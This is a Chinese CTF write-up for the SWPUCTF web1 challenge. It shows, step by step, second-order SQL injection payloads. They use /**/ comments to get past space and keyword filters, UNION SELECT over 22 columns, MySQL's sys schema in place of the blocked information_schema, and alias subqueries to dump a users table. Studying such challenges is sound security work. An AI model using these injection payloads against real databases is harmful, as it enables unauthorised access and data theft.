swpuctf---web1(双查询注入,别名代替,mysql5.7以上的sys系统表)

怎么也没想到,这sql注入有22个字段,当时到了15个字段,还不对,还以为是出题人在告诉我不能使用联合注入,若不是22个字段,我猜我还是能做出来的吧…啊哈哈,也不一定,手动滑稽
反正也做记录吧
首先就是一个登录框,注册的时候发现存在admin,几次弱密码没试出来,应该不是爆破,然后随便注册一个,登录进去之后发现有发广告的选项,第一反应是xss,x了一会儿,后来出题人说不是xss,才发现是sql注入(二次注入)
手动测试一会儿,发现过滤了空格,and,or
进行联合查询:
payload:

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

发现2,3是显示位
对第三位进行注入
payload:

-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

得到数据库名为web1
继续

-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schame=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

这时候提示有敏感词汇,经过测试,发现过滤的是information_schema,可是如果没有information_schema,就不能查询表名,进行之后的一系列操作
搜索mysql系统表,找到这篇文章

https://blog.csdn.net/jayewu/article/details/80183274

通过阅读,知道mysql除了information_schema这个配置表以外,还有一个系统表为sys,不过sys表是在mysql5.7之后才新增加的,查了一下版本号,8.0.17,完全满足要求
开始:
payload:

-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns /**/where/**/table_schema=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

可是竟然报错了,报的是group_concat后面的,考虑双查询注入
payload:

-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns /**/where/**/table_schema=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)/**/&&/**/'1'='1

还是报错,说/**/&&这儿不对,后来看了wp,关于mysql系统表那个还可以参考这个

https://www.anquanke.com/post/id/193512

payload:

-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns /**/where/**/table_schema=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

出现表名,users和ads
继续:
payload:

-1'/**/union/**/select/**/1,2,(select/**/group_concat(column_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_name='users'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

找到字段名为有一个是id,一般id=1是admin,
但是不知道有多少个字段,干脆全部找出来,使用select * from web1
但是由于web1中不止一个字段,所以进行无列名查询和别名代替:
大概语句如下:

select b from (select 1,2 as b,3,4 union select * from user)a;

根据手动测试,2,3是显示位
所以,payload:

-1'/**/union/**/select/**/1,2,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)b),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到如下结果:
swpuctf---web1(双查询注入,别名代替,mysql5.7以上的sys系统表)_第1张图片flag是第二个字段,所以:

-1'/**/union/**/select/**/1,2,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)b),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到flag

你可能感兴趣的:(ctf)